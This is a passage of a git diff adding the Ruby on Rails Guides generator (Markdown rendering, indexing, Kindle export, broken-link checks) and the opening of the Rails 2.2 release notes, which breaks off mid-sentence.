frozen_string_literal: true + +$:.unshift __dir__ + +as_lib = File.expand_path("../activesupport/lib", __dir__) +ap_lib = File.expand_path("../actionpack/lib", __dir__) +av_lib = File.expand_path("../actionview/lib", __dir__) + +$:.unshift as_lib if File.directory?(as_lib) +$:.unshift ap_lib if File.directory?(ap_lib) +$:.unshift av_lib if File.directory?(av_lib) + +require "rails_guides/generator" +require "active_support/core_ext/object/blank" + +env_value = ->(name) { ENV[name].presence } +env_flag = ->(name) { "1" == env_value[name] } + +version = env_value["RAILS_VERSION"] +edge = `git rev-parse HEAD`.strip unless version + +RailsGuides::Generator.new( + edge: edge, + version: version, + all: env_flag["ALL"], + only: env_value["ONLY"], + kindle: env_flag["KINDLE"], + language: env_value["GUIDES_LANGUAGE"], + direction: env_value["DIRECTION"] +).generate diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb new file mode 100644 index 0000000000..48e90510e1 --- /dev/null +++ b/guides/rails_guides/generator.rb @@ -0,0 +1,219 @@ +# frozen_string_literal: true + +require "set" +require "fileutils" + +require "active_support/core_ext/string/output_safety" +require "active_support/core_ext/object/blank" +require "action_controller" +require "action_view" + +require "rails_guides/markdown" +require "rails_guides/indexer" +require "rails_guides/helpers" +require "rails_guides/levenshtein" + +module RailsGuides + class Generator + GUIDES_RE = /\.(?:erb|md)\z/ + + def initialize(edge:, version:, all:, only:, kindle:, language:, direction: "ltr") + @edge = edge + @version = version + @all = all + @only = only + @kindle = kindle + @language = language + @direction = direction + + if @kindle + check_for_kindlegen + register_kindle_mime_types + end + + initialize_dirs + create_output_dir_if_needed + initialize_markdown_renderer + end + + def generate + generate_guides + copy_assets + generate_mobi if @kindle + end + + private + + def register_kindle_mime_types + Mime::Type.register_alias("application/xml", :opf, %w(opf)) + Mime::Type.register_alias("application/xml", :ncx, %w(ncx)) + end + + def check_for_kindlegen + if `which kindlegen`.blank? + raise "Can't create a kindle version without `kindlegen`." + end + end + + def generate_mobi + require "rails_guides/kindle" + out = "#{@output_dir}/kindlegen.out" + Kindle.generate(@output_dir, mobi, out) + puts "(kindlegen log at #{out})." + end + + def mobi + mobi = "ruby_on_rails_guides_#{@version || @edge[0, 7]}" + mobi += ".#{@language}" if @language + mobi += ".mobi" + end + + def initialize_dirs + @guides_dir = File.expand_path("..", __dir__) + + @source_dir = "#{@guides_dir}/source" + @source_dir += "/#{@language}" if @language + + @output_dir = "#{@guides_dir}/output" + @output_dir += "/kindle" if @kindle + @output_dir += "/#{@language}" if @language + end + + def create_output_dir_if_needed + FileUtils.mkdir_p(@output_dir) + end + + def initialize_markdown_renderer + Markdown::Renderer.edge = @edge + Markdown::Renderer.version = @version + end + + def generate_guides + guides_to_generate.each do |guide| + output_file = output_file_for(guide) + generate_guide(guide, output_file) if generate?(guide, output_file) + end + end + + def guides_to_generate + guides = Dir.entries(@source_dir).grep(GUIDES_RE) + + if @kindle + Dir.entries("#{@source_dir}/kindle").grep(GUIDES_RE).map do |entry| + next if entry == "KINDLE.md" + guides << "kindle/#{entry}" + end + end + + @only ? select_only(guides) : guides + end + + def select_only(guides) + prefixes = @only.split(",").map(&:strip) + guides.select do |guide| + guide.start_with?("kindle", *prefixes) + end + end + + def copy_assets + FileUtils.cp_r(Dir.glob("#{@guides_dir}/assets/*"), @output_dir) + + if @direction == "rtl" + overwrite_css_with_right_to_left_direction + end + end + + def overwrite_css_with_right_to_left_direction + FileUtils.mv("#{@output_dir}/stylesheets/main.rtl.css", "#{@output_dir}/stylesheets/main.css") + end + + def output_file_for(guide) + if guide.end_with?(".md") + guide.sub(/md\z/, "html") + else + guide.sub(/\.erb\z/, "") + end + end + + def output_path_for(output_file) + File.join(@output_dir, File.basename(output_file)) + end + + def generate?(source_file, output_file) + fin = File.join(@source_dir, source_file) + fout = output_path_for(output_file) + @all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin) + end + + def generate_guide(guide, output_file) + output_path = output_path_for(output_file) + puts "Generating #{guide} as #{output_file}" + layout = @kindle ? "kindle/layout" : "layout" + + view = ActionView::Base.new( + @source_dir, + edge: @edge, + version: @version, + mobi: "kindle/#{mobi}", + language: @language + ) + view.extend(Helpers) + + if guide =~ /\.(\w+)\.erb$/ + return if %w[_license _welcome layout].include?($`) + + # Generate the special pages like the home. + # Passing a template handler in the template name is deprecated. So pass the file name without the extension. + result = view.render(layout: layout, formats: [$1], file: $`) + else + body = File.read("#{@source_dir}/#{guide}") + result = RailsGuides::Markdown.new( + view: view, + layout: layout, + edge: @edge, + version: @version + ).render(body) + + warn_about_broken_links(result) + end + + File.open(output_path, "w") do |f| + f.write(result) + end + end + + def warn_about_broken_links(html) + anchors = extract_anchors(html) + check_fragment_identifiers(html, anchors) + end + + def extract_anchors(html) + # Markdown generates headers with IDs computed from titles. + anchors = Set.new + html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor| + if anchors.member?(anchor) + puts "*** DUPLICATE ID: #{anchor}, please make sure that there're no headings with the same name at the same level." + else + anchors << anchor + end + end + + # Footnotes. + anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten) + anchors += Set.new(html.scan(/<sup\s+class="footnote"\s+id="([^"]+)/).flatten) + anchors + end + + def check_fragment_identifiers(html, anchors) + html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier| + next if fragment_identifier == "mainCol" # in layout, jumps to some DIV + unless anchors.member?(CGI.unescape(fragment_identifier)) + guess = anchors.min { |a, b| + Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b) + } + puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}." + end + end + end + end +end diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb new file mode 100644 index 0000000000..5ab1388c29 --- /dev/null +++ b/guides/rails_guides/helpers.rb @@ -0,0 +1,46 @@ +# frozen_string_literal: true + +require "yaml" + +module RailsGuides + module Helpers + def guide(name, url, options = {}, &block) + link = content_tag(:a, href: url) { name } + result = content_tag(:dt, link) + + if options[:work_in_progress] + result << content_tag(:dd, "Work in progress", class: "work-in-progress") + end + + result << content_tag(:dd, capture(&block)) + result + end + + def documents_by_section + @documents_by_section ||= YAML.load_file(File.expand_path("../source/#{@language ? @language + '/' : ''}documents.yaml", __dir__)) + end + + def documents_flat + documents_by_section.flat_map { |section| section["documents"] } + end + + def finished_documents(documents) + documents.reject { |document| document["work_in_progress"] } + end + + def docs_for_menu(position = nil) + if position.nil? + documents_by_section + elsif position == "L" + documents_by_section.to(3) + else + documents_by_section.from(4) + end + end + + def code(&block) + c = capture(&block) + content_tag(:code, c) + end + end +end diff --git a/guides/rails_guides/indexer.rb b/guides/rails_guides/indexer.rb new file mode 100644 index 0000000000..c707464cdf --- /dev/null +++ b/guides/rails_guides/indexer.rb @@ -0,0 +1,70 @@ +# frozen_string_literal: true + +require "active_support/core_ext/object/blank" +require "active_support/core_ext/string/inflections" + +module RailsGuides + class Indexer + attr_reader :body, :result, :warnings, :level_hash + + def initialize(body, warnings) + @body = body + @result = @body.dup + @warnings = warnings + end + + def index + @level_hash = process(body) + end + + private + + def process(string, current_level = 3, counters = [1]) + s = StringScanner.new(string) + + level_hash = {} + + while !s.eos? + re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$} + s.match?(re) + if matched = s.matched + matched =~ re + level, idx, title = $1.to_i, $2, $3.strip + + if level < current_level + # This is needed. Go figure. + return level_hash + elsif level == current_level + index = counters.join(".") + idx ||= "#" + title_to_idx(title) + + raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}") + + key = { + title: title, + id: idx + } + # Recurse + counters << 1 + level_hash[key] = process(s.post_match, current_level + 1, counters) + counters.pop + + # Increment the current level + last = counters.pop + counters << last + 1 + end + end + s.getch + end + level_hash + end + + def title_to_idx(title) + idx = title.strip.parameterize.sub(/^\d+/, "") + if warnings && idx.blank? + puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)" + end + idx + end + end +end diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb new file mode 100644 index 0000000000..8a0361ff4c --- /dev/null +++ b/guides/rails_guides/kindle.rb @@ -0,0 +1,116 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +require "kindlerb" +require "nokogiri" +require "fileutils" +require "yaml" +require "date" + +module Kindle + extend self + + def generate(output_dir, mobi_outfile, logfile) + output_dir = File.absolute_path(output_dir) + Dir.chdir output_dir do + puts "=> Using output dir: #{output_dir}" + puts "=> Arranging html pages in document order" + toc = File.read("toc.ncx") + doc = Nokogiri::XML(toc).xpath("//ncx:content", "ncx" => "http://www.daisy.org/z3986/2005/ncx/") + html_pages = doc.select { |c| c[:src] }.map { |c| c[:src] }.uniq + + generate_front_matter(html_pages) + + generate_sections(html_pages) + + generate_document_metadata(mobi_outfile) + + puts "Creating MOBI document with kindlegen. This may take a while." + if Kindlerb.run(output_dir) + puts "MOBI document generated at #{File.expand_path(mobi_outfile, output_dir)}" + end + end + end + + def generate_front_matter(html_pages) + frontmatter = [] + html_pages.delete_if { |x| + if /(toc|welcome|copyright).html/.match?(x) + frontmatter << x unless x =~ /toc/ + true + end + } + html = frontmatter.map { |x| + Nokogiri::HTML(File.open(x)).at("body").inner_html + }.join("\n") + + fdoc = Nokogiri::HTML(html) + fdoc.search("h3").each do |h3| + h3.name = "h4" + end + fdoc.search("h2").each do |h2| + h2.name = "h3" + h2["id"] = h2.inner_text.gsub(/\s/, "-") + end + add_head_section fdoc, "Front Matter" + File.open("frontmatter.html", "w") { |f| f.puts fdoc.to_html } + html_pages.unshift "frontmatter.html" + end + + def generate_sections(html_pages) + FileUtils.rm_rf("sections/") + html_pages.each_with_index do |page, section_idx| + FileUtils.mkdir_p("sections/%03d" % section_idx) + doc = Nokogiri::HTML(File.open(page)) + title = doc.at("title").inner_text.gsub("Ruby on Rails Guides: ", "") + title = page.capitalize.gsub(".html", "") if title.strip == "" + File.open("sections/%03d/_section.txt" % section_idx, "w") { |f| f.puts title } + doc.xpath("//h3[@id]").each_with_index do |h3, item_idx| + subsection = h3.inner_text + content = h3.xpath("./following-sibling::*").take_while { |x| x.name != "h3" }.map(&:to_html) + item = Nokogiri::HTML(h3.to_html + content.join("\n")) + item_path = "sections/%03d/%03d.html" % [section_idx, item_idx] + add_head_section(item, subsection) + item.search("img").each do |img| + img["src"] = "#{Dir.pwd}/#{img['src']}" + end + item.xpath("//li/p").each { |p| p.swap(p.children); p.remove } + File.open(item_path, "w") { |f| f.puts item.to_html } + end + end + end + + def generate_document_metadata(mobi_outfile) + puts "=> Generating _document.yml" + x = Nokogiri::XML(File.open("rails_guides.opf")).remove_namespaces! + cover_jpg = "#{Dir.pwd}/images/rails_guides_kindle_cover.jpg" + cover_gif = cover_jpg.sub(/jpg$/, "gif") + puts `convert #{cover_jpg} #{cover_gif}` + document = { + "doc_uuid" => x.at("package")["unique-identifier"], + "title" => x.at("title").inner_text.gsub(/\(.*$/, " v2"), + "publisher" => x.at("publisher").inner_text, + "author" => x.at("creator").inner_text, + "subject" => x.at("subject").inner_text, + "date" => x.at("date").inner_text, + "cover" => cover_gif, + "masthead" => nil, + "mobi_outfile" => mobi_outfile + } + puts document.to_yaml + File.open("_document.yml", "w") { |f| f.puts document.to_yaml } + end + + def add_head_section(doc, title) + head = Nokogiri::XML::Node.new "head", doc + title_node = Nokogiri::XML::Node.new "title", doc + title_node.content = title + title_node.parent = head + css = Nokogiri::XML::Node.new "link", doc + css["rel"] = "stylesheet" + css["type"] = "text/css" + css["href"] = "#{Dir.pwd}/stylesheets/kindle.css" + css.parent = head + doc.at("body").before head + end +end diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb new file mode 100644 index 0000000000..2213ef754d --- /dev/null +++ b/guides/rails_guides/levenshtein.rb @@ -0,0 +1,44 @@ +# frozen_string_literal: true + +module RailsGuides + module Levenshtein + # This code is based directly on the Text gem implementation. + # Copyright (c) 2006-2013 Paul Battley, Michael Neumann, Tim Fletcher. + # + # Returns a value representing the "cost" of transforming str1 into str2 + def self.distance(str1, str2) + s = str1 + t = str2 + n = s.length + m = t.length + + return m if 0 == n + return n if 0 == m + + d = (0..m).to_a + x = nil + + # avoid duplicating an enumerable object in the loop + str2_codepoint_enumerable = str2.each_codepoint + + str1.each_codepoint.with_index do |char1, i| + e = i + 1 + + str2_codepoint_enumerable.with_index do |char2, j| + cost = (char1 == char2) ? 0 : 1 + x = [ + d[j + 1] + 1, # insertion + e + 1, # deletion + d[j] + cost # substitution + ].min + d[j] = e + e = x + end + + d[m] = x + end + + x + end + end +end diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb new file mode 100644 index 0000000000..a98aa8fe66 --- /dev/null +++ b/guides/rails_guides/markdown.rb @@ -0,0 +1,173 @@ +# frozen_string_literal: true + +require "redcarpet" +require "nokogiri" +require "rails_guides/markdown/renderer" + +module RailsGuides + class Markdown + def initialize(view:, layout:, edge:, version:) + @view = view + @layout = layout + @edge = edge + @version = version + @index_counter = Hash.new(0) + @raw_header = "" + @node_ids = {} + end + + def render(body) + @raw_body = body + extract_raw_header_and_body + generate_header + generate_title + generate_body + generate_structure + generate_index + render_page + end + + private + + def dom_id(nodes) + dom_id = dom_id_text(nodes.last.text) + + # Fix duplicate node by prefix with its parent node + if @node_ids[dom_id] + if @node_ids[dom_id].size > 1 + duplicate_nodes = @node_ids.delete(dom_id) + new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}" + duplicate_nodes.last[:id] = new_node_id + @node_ids[new_node_id] = duplicate_nodes + end + + dom_id = "#{nodes[-2][:id]}-#{dom_id}" + end + + @node_ids[dom_id] = nodes + dom_id + end + + def dom_id_text(text) + escaped_chars = Regexp.escape('\\/`*_{}[]()#+-.!:,;|&<>^~=\'"') + + text.downcase.gsub(/\?/, "-questionmark") + .gsub(/!/, "-bang") + .gsub(/[#{escaped_chars}]+/, " ").strip + .gsub(/\s+/, "-") + end + + def engine + @engine ||= Redcarpet::Markdown.new(Renderer, + no_intra_emphasis: true, + fenced_code_blocks: true, + autolink: true, + strikethrough: true, + superscript: true, + tables: true + ) + end + + def extract_raw_header_and_body + if /^\-{40,}$/.match?(@raw_body) + @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip) + end + end + + def generate_body + @body = engine.render(@raw_body) + end + + def generate_header + @header = engine.render(@raw_header).html_safe + end + + def generate_structure + @headings_for_index = [] + if @body.present? + @body = Nokogiri::HTML.fragment(@body).tap do |doc| + hierarchy = [] + + doc.children.each do |node| + if /^h[3-6]$/.match?(node.name) + case node.name + when "h3" + hierarchy = [node] + @headings_for_index << [1, node, node.inner_html] + when "h4" + hierarchy = hierarchy[0, 1] + [node] + @headings_for_index << [2, node, node.inner_html] + when "h5" + hierarchy = hierarchy[0, 2] + [node] + when "h6" + hierarchy = hierarchy[0, 3] + [node] + end + + node[:id] = dom_id(hierarchy) unless node[:id] + node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}" + end + end + + doc.css("h3, h4, h5, h6").each do |node| + node.inner_html = "<a class='anchorlink' href='##{node[:id]}'>#{node.inner_html}</a>" + end + end.to_html + end + end + + def generate_index + if @headings_for_index.present? + raw_index = "" + @headings_for_index.each do |level, node, label| + if level == 1 + raw_index += "1. [#{label}](##{node[:id]})\n" + elsif level == 2 + raw_index += " * [#{label}](##{node[:id]})\n" + end + end + + @index = Nokogiri::HTML.fragment(engine.render(raw_index)).tap do |doc| + doc.at("ol")[:class] = "chapters" + end.to_html + + @index = <<-INDEX.html_safe + <div id="subCol"> + <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3> + #{@index} + </div> + INDEX + end + end + + def generate_title + if heading = Nokogiri::HTML.fragment(@header).at(:h2) + @title = "#{heading.text} — Ruby on Rails Guides" + else + @title = "Ruby on Rails Guides" + end + end + + def node_index(hierarchy) + case hierarchy.size + when 1 + @index_counter[2] = @index_counter[3] = @index_counter[4] = 0 + "#{@index_counter[1] += 1}" + when 2 + @index_counter[3] = @index_counter[4] = 0 + "#{@index_counter[1]}.#{@index_counter[2] += 1}" + when 3 + @index_counter[4] = 0 + "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}" + when 4 + "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}" + end + end + + def render_page + @view.content_for(:header_section) { @header } + @view.content_for(:page_title) { @title } + @view.content_for(:index_section) { @index } + @view.render(layout: @layout, html: @body.html_safe) + end + end +end diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb new file mode 100644 index 0000000000..f186ac526f --- /dev/null +++ b/guides/rails_guides/markdown/renderer.rb @@ -0,0 +1,128 @@ +# frozen_string_literal: true + +module RailsGuides + class Markdown + class Renderer < Redcarpet::Render::HTML + cattr_accessor :edge, :version + + def block_code(code, language) + <<-HTML +<div class="code_container"> +<pre class="brush: #{brush_for(language)}; gutter: false; toolbar: false"> +#{ERB::Util.h(code)} +</pre> +</div> +HTML + end + + def link(url, title, content) + if url.start_with?("http://api.rubyonrails.org") + %(<a href="#{api_link(url)}">#{content}</a>) + elsif title + %(<a href="#{url}" title="#{title}">#{content}</a>) + else + %(<a href="#{url}">#{content}</a>) + end + end + + def header(text, header_level) + # Always increase the heading level by 1, so we can use h1, h2 heading in the document + header_level += 1 + + header_with_id = text.scan(/(.*){#(.*)}/) + unless header_with_id.empty? + %(<h#{header_level} id="#{header_with_id[0][1].strip}">#{header_with_id[0][0].strip}</h#{header_level}>) + else + %(<h#{header_level}>#{text}</h#{header_level}>) + end + end + + def paragraph(text) + if text =~ %r{^NOTE:\s+Defined\s+in\s+<code>(.*?)</code>\.?$} + %(<div class="note"><p>Defined in <code><a href="#{github_file_url($1)}">#{$1}</a></code>.</p></div>) + elsif /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/.match?(text) + convert_notes(text) + elsif text.include?("DO NOT READ THIS FILE ON GITHUB") + elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/ + linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>) + %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>) + else + text = convert_footnotes(text) + "<p>#{text}</p>" + end + end + + private + + def convert_footnotes(text) + text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do + %(<sup class="footnote" id="footnote-#{$1}-ref">) + + %(<a href="#footnote-#{$1}">#{$1}</a></sup>) + end + end + + def brush_for(code_type) + case code_type + when "ruby", "sql", "plain" + code_type + when "erb", "html+erb" + "ruby; html-script: true" + when "html" + "xml" # HTML is understood, but there are .xml rules in the CSS + else + "plain" + end + end + + def convert_notes(body) + # The following regexp detects special labels followed by a + # paragraph, perhaps at the end of the document. + # + # It is important that we do not eat more than one newline + # because formatting may be wrong otherwise. For example, + # if a bulleted list follows, the first item is not rendered + # as a list item, but as a paragraph starting with a plain + # asterisk. + body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do + css_class = \ + case $1 + when "CAUTION", "IMPORTANT" + "warning" + when "TIP" + "info" + else + $1.downcase + end + %(<div class="#{css_class}"><p>#{$2.strip}</p></div>) + end + end + + def github_file_url(file_path) + tree = version || edge + + root = file_path[%r{(\w+)/}, 1] + path = \ + case root + when "abstract_controller", "action_controller", "action_dispatch" + "actionpack/lib/#{file_path}" + when /\A(action|active)_/ + "#{root.sub("_", "")}/lib/#{file_path}" + else + file_path + end + + "https://github.com/rails/rails/tree/#{tree}/#{path}" + end + + def api_link(url) + if %r{http://api\.rubyonrails\.org/v\d+\.}.match?(url) + url + elsif edge + url.sub("api", "edgeapi") + else + url.sub(/(?<=\.org)/, "/#{version}") + end + end + end + end +end diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md new file mode 100644 index 0000000000..78a7c64afc --- /dev/null +++ b/guides/source/2_2_release_notes.md @@ -0,0 +1,435 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 2.2 Release Notes +=============================== + +Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub. + +Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](https://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails. + +-------------------------------------------------------------------------------- + +Infrastructure +-------------- + +Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world. + +### Internationalization + +Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing). + +* Lead Contributors: Rails i18 Team +* More information : + * [Official Rails i18 website](http://rails-i18n.org) + * [Finally. Ruby on Rails gets internationalized](https://web.archive.org/web/20140407075019/http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized) + * [Localizing Rails : Demo application](https://github.com/clemens/i18n_demo_app) + +### Compatibility with Ruby 1.9 and JRuby + +Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released. + +Documentation +------------- + +The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](https://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes: + +* [Getting Started with Rails](getting_started.html) +* [Rails Database Migrations](active_record_migrations.html) +* [Active Record Associations](association_basics.html) +* [Active Record Query Interface](active_record_querying.html) +* [Layouts and Rendering in Rails](layouts_and_rendering.html) +* [Action View Form Helpers](form_helpers.html) +* [Rails Routing from the Outside In](routing.html) +* [Action Controller Overview](action_controller_overview.html) +* [Rails Caching](caching_with_rails.html) +* [A Guide to Testing Rails Applications](testing.html) +* [Securing Rails Applications](security.html) +* [Debugging Rails Applications](debugging_rails_applications.html) +* [The Basics of Creating Rails Plugins](plugins.html) + +All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers. + +If you want to generate these guides locally, inside your application: + +``` +rake doc:guides +``` + +This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser. + +* Major contributions from [Xavier Noria](http://advogato.org/person/fxn/diary.html) and [Hongli Lai](http://izumi.plan99.net/blog/). +* More information: + * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide) + * [Help improve Rails documentation on Git branch](https://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch) + +Better integration with HTTP : Out of the box ETag support +---------------------------------------------------------- + +Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all. + +```ruby +class ArticlesController < ApplicationController + def show_with_respond_to_block + @article = Article.find(params[:id]) + + # If the request sends headers that differs from the options provided to stale?, then + # the request is indeed stale and the respond_to block is triggered (and the options + # to the stale? call is set on the response). + # + # If the request headers match, then the request is fresh and the respond_to block is + # not triggered. Instead the default render will occur, which will check the last-modified + # and etag headers and conclude that it only needs to send a "304 Not Modified" instead + # of rendering the template. + if stale?(:last_modified => @article.published_at.utc, :etag => @article) + respond_to do |wants| + # normal response processing + end + end + end + + def show_with_implied_render + @article = Article.find(params[:id]) + + # Sets the response headers and checks them against the request, if the request is stale + # (i.e. no match of either etag or last-modified), then the default render of the template happens. + # If the request is fresh, then the default render will return a "304 Not Modified" + # instead of rendering the template. + fresh_when(:last_modified => @article.published_at.utc, :etag => @article) + end +end +``` + +Thread Safety +------------- + +The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores. + +To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`: + +```ruby +config.threadsafe! +``` + +* More information : + * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails) + * [Thread safety project announcement](https://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core) + * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html) + +Active Record +------------- + +There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements. + +### Transactional Migrations + +Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter. + +* Lead Contributor: [Adam Wiggins](http://about.adamwiggins.com/) +* More information: + * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/) + * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/) + +### Connection Pooling + +Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it. + +```yaml +development: + adapter: mysql + username: root + database: sample_development + pool: 10 + wait_timeout: 10 +``` + +* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/) +* More information: + * [What's New in Edge Rails: Connection Pools](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools) + +### Hashes for Join Table Conditions + +You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins. + +```ruby +class Photo < ActiveRecord::Base + belongs_to :product +end + +class Product < ActiveRecord::Base + has_many :photos +end + +# Get all products with copyright-free photos: +Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }}) +``` + +* More information: + * [What's New in Edge Rails: Easy Join Table Conditions](http://archives.ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions) + +### New Dynamic Finders + +Two new sets of methods have been added to Active Record's dynamic finders family. + +#### `find_last_by_attribute` + +The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})` + +```ruby +# Get the last user who signed up from London +User.find_last_by_city('London') +``` + +* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua) + +#### `find_by_attribute!` + +The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match. + +```ruby +# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet! +User.find_by_name!('Moby') +``` + +* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com) + +### Associations Respect Private/Protected Scope + +Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` to match the behavior in order for associations to function normally. + +* Lead Contributor: Adam Milligan +* More information: + * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/) + +### Other Active Record Changes + +* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo +* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp. +* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer. +* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names + +Action Controller +----------------- + +On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications. + +### Shallow Route Nesting + +Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. + +```ruby +map.resources :publishers, :shallow => true do |publisher| + publisher.resources :magazines do |magazine| + magazine.resources :photos + end +end +``` + +This will enable recognition of (among others) these routes: + +``` +/publishers/1 ==> publisher_path(1) +/publishers/1/magazines ==> publisher_magazines_path(1) +/magazines/2 ==> magazine_path(2) +/magazines/2/photos ==> magazines_photos_path(2) +/photos/3 ==> photo_path(3) +``` + +* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/) +* More information: + * [Rails Routing from the Outside In](routing.html#nested-resources) + * [What's New in Edge Rails: Shallow Routes](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes) + +### Method Arrays for Member or Collection Routes + +You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration: + +```ruby +map.resources :photos, :collection => { :search => [:get, :post] } +``` + +* Lead Contributor: [Brennan Dunn](http://brennandunn.com/) + +### Resources With Specific Actions + +By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or 